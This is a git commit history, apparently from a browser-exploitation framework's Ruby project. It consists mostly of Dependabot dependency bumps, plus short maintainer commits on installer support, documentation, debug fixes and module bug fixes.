Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-17 12:49:47 +10:00
dependabot[bot]
a69ec9e378 Bump rack-protection from 3.0.2 to 3.0.3 (#2627)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 3.0.2 to 3.0.3.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.2...v3.0.3)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-17 12:49:17 +10:00
dependabot[bot]
46b38616bf Bump rubocop from 1.38.0 to 1.39.0 (#2628)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.38.0 to 1.39.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.38.0...v1.39.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-17 01:21:56 +10:00
dependabot[bot]
235d457ff2 Bump rubocop from 1.37.1 to 1.38.0 (#2617)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.37.1 to 1.38.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.37.1...v1.38.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-14 13:18:38 +10:00
dependabot[bot]
596e29a8c8 Bump jsdoc from 3.6.11 to 4.0.0 (#2621)
Bumps [jsdoc](https://github.com/jsdoc/jsdoc) from 3.6.11 to 4.0.0.
- [Release notes](https://github.com/jsdoc/jsdoc/releases)
- [Changelog](https://github.com/jsdoc/jsdoc/blob/main/CHANGES.md)
- [Commits](https://github.com/jsdoc/jsdoc/compare/3.6.11...4.0.0)

---
updated-dependencies:
- dependency-name: jsdoc
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-14 13:18:24 +10:00
dependabot[bot]
6d7872f4f5 Bump capybara from 3.37.1 to 3.38.0 (#2622)
Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.37.1 to 3.38.0.
- [Release notes](https://github.com/teamcapybara/capybara/releases)
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.37.1...3.38.0)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-14 13:18:16 +10:00
dependabot[bot]
4b6e7a84af Bump selenium-webdriver from 4.5.0 to 4.6.1 (#2623)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.5.0 to 4.6.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-14 13:17:55 +10:00
dependabot[bot]
56945df5b8 Bump net-smtp from 0.3.2 to 0.3.3 (#2616)
Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.3.2 to 0.3.3.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.3.2...v0.3.3)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-01 11:47:23 +10:00
dependabot[bot]
8ccbd4b52f Bump rspec from 3.11.0 to 3.12.0 (#2615)
Bumps [rspec](https://github.com/rspec/rspec-metagem) from 3.11.0 to 3.12.0.
- [Release notes](https://github.com/rspec/rspec-metagem/releases)
- [Commits](https://github.com/rspec/rspec-metagem/compare/v3.11.0...v3.12.0)

---
updated-dependencies:
- dependency-name: rspec
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-01 11:46:50 +10:00
dependabot[bot]
721705e067 Bump rubocop from 1.36.0 to 1.37.1 (#2613)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.36.0 to 1.37.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.36.0...v1.37.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-25 00:35:47 +11:00
bcoles
dec3b4a6d4 install: warn rather than exit upon failure when updating rubygems (#2612) 2022-10-24 17:52:40 +11:00
bcoles
e789fbd71c Update Gemfile.lock (#2611) 2022-10-23 17:57:14 +11:00
dependabot[bot]
e3ee48415b Bump nokogiri from 1.13.8 to 1.13.9 (#2610)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.8 to 1.13.9.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.8...v1.13.9)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-21 15:32:28 +10:00
jcrew99
024b2f3e78 Revert "Revert "Add support for the SuSE family in the installer (#2590)" (#2594)" (#2603)
This reverts commit dc9e41c55a.
2022-10-17 15:02:48 +10:00
dependabot[bot]
50c06a9a29 Bump sqlite3 from 1.5.2 to 1.5.3 (#2598)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.5.2 to 1.5.3.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.5.2...v1.5.3)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:27:21 +10:00
dependabot[bot]
d188edf25b Bump sinatra from 2.2.2 to 3.0.2 (#2593)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 2.2.2 to 3.0.2.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.2.2...v3.0.2)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:07:56 +10:00
dependabot[bot]
ea86221710 Bump irb from 1.4.1 to 1.4.2 (#2592)
Bumps [irb](https://github.com/ruby/irb) from 1.4.1 to 1.4.2.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.4.1...v1.4.2)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:07:26 +10:00
dependabot[bot]
c302bf78f6 Bump test-unit from 3.5.3 to 3.5.5 (#2591)
Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.5.3 to 3.5.5.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.5.3...3.5.5)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:07:14 +10:00
dependabot[bot]
b993c55e9a Bump rack-protection from 2.2.2 to 3.0.2 (#2588)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 2.2.2 to 3.0.2.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.2.2...v3.0.2)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:07:00 +10:00
dependabot[bot]
71a678cf9a Bump selenium-webdriver from 4.4.0 to 4.5.0 (#2584)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.4.0 to 4.5.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.4.0...selenium-4.5.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:06:31 +10:00
dependabot[bot]
10e984c94b Bump net-smtp from 0.3.1 to 0.3.2 (#2583)
Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.3.1 to 0.3.2.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.3.1...v0.3.2)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-07 15:01:59 +10:00
jcrew99
dc9e41c55a Revert "Add support for the SuSE family in the installer (#2590)" (#2594)
This reverts commit 03f70879f2.
2022-10-07 14:57:12 +10:00
Ben
03f70879f2 Add support for the SuSE family in the installer (#2590) 2022-10-07 14:56:29 +10:00
dependabot[bot]
1152715646 Bump espeak-ruby from 1.0.5 to 1.1.0 (#2580)
Bumps [espeak-ruby](https://github.com/dejan/espeak-ruby) from 1.0.5 to 1.1.0.
- [Release notes](https://github.com/dejan/espeak-ruby/releases)
- [Changelog](https://github.com/dejan/espeak-ruby/blob/master/CHANGELOG)
- [Commits](https://github.com/dejan/espeak-ruby/compare/v1.0.5...v1.1.0)

---
updated-dependencies:
- dependency-name: espeak-ruby
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-07 14:55:09 +10:00
dependabot[bot]
8abae7cc85 Bump sqlite3 from 1.5.0 to 1.5.2 (#2589)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.5.0 to 1.5.2.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.5.0...v1.5.2)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-05 13:11:37 +10:00
dependabot[bot]
6041cbf595 Bump websocket-client-simple from 0.5.1 to 0.6.0 (#2573)
Bumps [websocket-client-simple](https://github.com/ruby-jp/websocket-client-simple) from 0.5.1 to 0.6.0.
- [Release notes](https://github.com/ruby-jp/websocket-client-simple/releases)
- [Changelog](https://github.com/ruby-jp/websocket-client-simple/blob/master/History.txt)
- [Commits](https://github.com/ruby-jp/websocket-client-simple/compare/v0.5.1...v0.6.0)

---
updated-dependencies:
- dependency-name: websocket-client-simple
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-09-29 10:06:38 +10:00
jcrew99
ed4c9169b3 Update ISSUE_TEMPLATE.md 2022-09-21 22:21:12 +10:00
jcrew99
d8b5331544 Update README.md (#2571)
Added discord link to readme.md
2022-09-19 14:01:01 +10:00
dependabot[bot]
a0b589ecd2 Bump sqlite3 from 1.4.4 to 1.5.0 (#2566)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.4.4 to 1.5.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.4.4...v1.5.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-09-12 23:42:24 +10:00
dependabot[bot]
6f5f5e7493 Bump rubocop from 1.35.1 to 1.36.0 (#2557)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.35.1 to 1.36.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.35.1...v1.36.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-09-02 15:04:17 +10:00
dependabot[bot]
b3d2ee8016 Bump rubocop from 1.35.0 to 1.35.1 (#2552)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.35.0 to 1.35.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.35.0...v1.35.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-23 14:44:19 +10:00
dependabot[bot]
cbc5ce1601 Bump pry-byebug from 3.10.0 to 3.10.1 (#2548)
Bumps [pry-byebug](https://github.com/deivid-rodriguez/pry-byebug) from 3.10.0 to 3.10.1.
- [Release notes](https://github.com/deivid-rodriguez/pry-byebug/releases)
- [Changelog](https://github.com/deivid-rodriguez/pry-byebug/blob/master/CHANGELOG.md)
- [Commits](https://github.com/deivid-rodriguez/pry-byebug/compare/v3.10.0...v3.10.1)

---
updated-dependencies:
- dependency-name: pry-byebug
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-18 11:52:56 +10:00
dependabot[bot]
8a0e122dc9 Bump pry-byebug from 3.9.0 to 3.10.0 (#2547)
Bumps [pry-byebug](https://github.com/deivid-rodriguez/pry-byebug) from 3.9.0 to 3.10.0.
- [Release notes](https://github.com/deivid-rodriguez/pry-byebug/releases)
- [Changelog](https://github.com/deivid-rodriguez/pry-byebug/blob/master/CHANGELOG.md)
- [Commits](https://github.com/deivid-rodriguez/pry-byebug/compare/v3.9.0...v3.10.0)

---
updated-dependencies:
- dependency-name: pry-byebug
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-17 14:02:49 +10:00
dependabot[bot]
74325078cc Bump rubocop from 1.34.1 to 1.35.0 (#2539)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.34.1 to 1.35.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.34.1...v1.35.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-15 12:30:41 +10:00
dependabot[bot]
111a07c016 Bump rubocop from 1.33.0 to 1.34.1 (#2536)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.33.0 to 1.34.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.33.0...v1.34.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-10 23:43:22 +10:00
dependabot[bot]
c318b31fd7 Bump selenium-webdriver from 4.3.0 to 4.4.0 (#2535)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.3.0 to 4.4.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.3.0...selenium-4.4.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-10 23:36:40 +10:00
dependabot[bot]
72261c4fcd Bump rubocop from 1.32.0 to 1.33.0 (#2528)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.32.0 to 1.33.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.32.0...v1.33.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-08 12:39:19 +10:00
ThumusLive
92e5a50f9b fREADME: Update Ruby website link (#2512) 2022-08-05 10:22:58 +10:00
bcoles
9f99d65e39 WebRTC: Rename Rtc model classes to align with ActiveRecord syntax (#2524) 2022-08-01 17:55:19 +10:00
bcoles
8d98a8e205 Bump Ruby version to 3.0.3 (#2523)
* Bump Ruby version to 3.0.3

* Add net-smtp to Gemfile to support Ruby 3.0 < 3.1

* Update Gemfile.lock
2022-08-01 16:08:26 +10:00
bcoles
77983167db Update dependencies (#2522) 2022-08-01 14:34:31 +10:00
dependabot[bot]
d1df07f13d Bump rack-protection from 2.2.0 to 2.2.1 (#2507)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 2.2.0 to 2.2.1.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/v2.2.1/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.2.0...v2.2.1)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-31 21:25:22 +10:00
dependabot[bot]
70685c94a4 Bump browserstack-local from 1.3.0 to 1.4.0 (#2509)
Bumps [browserstack-local](https://github.com/browserstack/browserstack-local-ruby) from 1.3.0 to 1.4.0.
- [Release notes](https://github.com/browserstack/browserstack-local-ruby/releases)
- [Changelog](https://github.com/browserstack/browserstack-local-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/browserstack/browserstack-local-ruby/commits)

---
updated-dependencies:
- dependency-name: browserstack-local
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-31 18:17:44 +10:00
dependabot[bot]
d761611056 Bump rubocop from 1.31.2 to 1.32.0 (#2511)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.31.2 to 1.32.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.31.2...v1.32.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-31 18:16:56 +10:00
MyLoginOnGitHub
87318f5a14 Fixed bug when response_data is empty when http.response_data.length is <= 100K (#2510)
* Fixed bug when response_data is empty when http.response_data.length <= 100K

* Refactor: do not modify field. Modify local variable instead
2022-07-22 10:05:54 +10:00
dependabot[bot]
94063f2f33 Bump activerecord from 7.0.3 to 7.0.3.1 (#2499)
Bumps [activerecord](https://github.com/rails/rails) from 7.0.3 to 7.0.3.1.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v7.0.3.1/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v7.0.3...v7.0.3.1)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-13 23:02:24 +10:00
dependabot[bot]
fc7df4748f Bump rubocop from 1.26.1 to 1.31.2 (#2488)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.26.1 to 1.31.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.26.1...v1.31.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-13 15:19:47 +10:00
Megan Howell
24dd89884b Install: Add support for ArcoLinux and BlackArch (#2487) 2022-07-07 12:00:25 +10:00
iWhacko
e69281e341 Bugfix/module html5 webcam (#2392)
* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

* Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment"

This reverts commit fed79d71

* - Fixed deprecated call to "window.URL.createObjectURL" on newer browsers
- Fixed bug where no image would be shown even if the picture was taken. (image size too large)
- added option to module to choose image size.

* fixed config we default

* fix codeql

Co-authored-by: Whacko <not@gonna.tel>
Co-authored-by: wheatley <wheatand@gmail.com>
2022-07-02 18:28:08 +10:00
wheatley
ddc06f1d7e Update stale.yml 2022-07-02 18:09:31 +10:00
wheatley
8d23c0e482 updated to run debug mode every 5mins 2022-07-02 17:48:31 +10:00
wheatley
28618367ea Add bot to help keep the issue backlog clean. (#2447)
* Create stale.yml

* Updated with exemptions and days

* updated closed days and message

* Update stale.yml
2022-07-02 17:38:29 +10:00
jcrew99
b1382e0be3 removing spelling mistake in configuration_spec (#2483) 2022-06-30 15:59:40 +10:00
Isaac Powell
c1e63d2486 Update issue template (#2473)
* updated issue template

* added loggin info
2022-06-24 15:56:25 +10:00
iWhacko
b56345fcdf Bugfix/browse offline zombies (#2388)
* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

(cherry picked from commit fed79d7142)

* Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment"

This reverts commit fed79d71

* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fixed a small mistake in a comment"

Co-authored-by: Whacko <not@gonna.tel>
2022-06-24 15:39:47 +10:00
Isaac Powell
0221a1c7da 2364 inotes modules defect and error handling (#2374)
* Fix spelling error, add try catch handling

* update error message
2022-06-24 15:22:36 +10:00
jcrew99
de60112928 Update thin gem (#2471)
* Updated Rack version

* Updated rack gem

* Updated to the latest version

* updating sinatra
2022-06-24 00:51:11 +10:00
jcrew99
7a1e500946 Update thin gem (#2470)
* Updated Rack version

* Updated rack gem
2022-06-24 00:30:34 +10:00
Isaac Powell
eea9740f4f Initial hook detection (#2440)
* initial multi-stage with basic switch on useragent

* added legacybrowseruseragents to core

* moved logic to a method and debugging

* array for holding legacy browsers

* added are.js back for parity to legacy hook.js

* removed byebug
2022-06-23 16:00:57 +10:00
slimwang
73a3d17f29 Fixed isDebug not work in beef.js (#2013)
* fixed isDebug not work

* fixed JQMIGRATE print extra message to console

* fix debug mode not work

* testing approval process

* Update github_actions.yml

Co-authored-by: kinovir <kinovir@gmail.com>
Co-authored-by: t3hp0rP <github@pr0ph3t.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2022-06-23 15:49:44 +10:00
Peter Mosmans
f68e420318 feat: optimize Docker image (#2398) 2022-06-09 23:01:49 +10:00
dependabot[bot]
b87463a60d Bump curb from 1.0.0 to 1.0.1 (#2410) 2022-06-09 16:00:45 +10:00
dependabot[bot]
107cdd3f54 Bump capybara from 3.36.0 to 3.37.1 (#2417)
Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.36.0 to 3.37.1.
- [Release notes](https://github.com/teamcapybara/capybara/releases)
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.36.0...3.37.1)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:58:18 +10:00
dependabot[bot]
d9d2c9c64b Bump json from 2.6.1 to 2.6.2 (#2420)
Bumps [json](https://github.com/flori/json) from 2.6.1 to 2.6.2.
- [Release notes](https://github.com/flori/json/releases)
- [Changelog](https://github.com/flori/json/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/json/compare/v2.6.1...v2.6.2)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

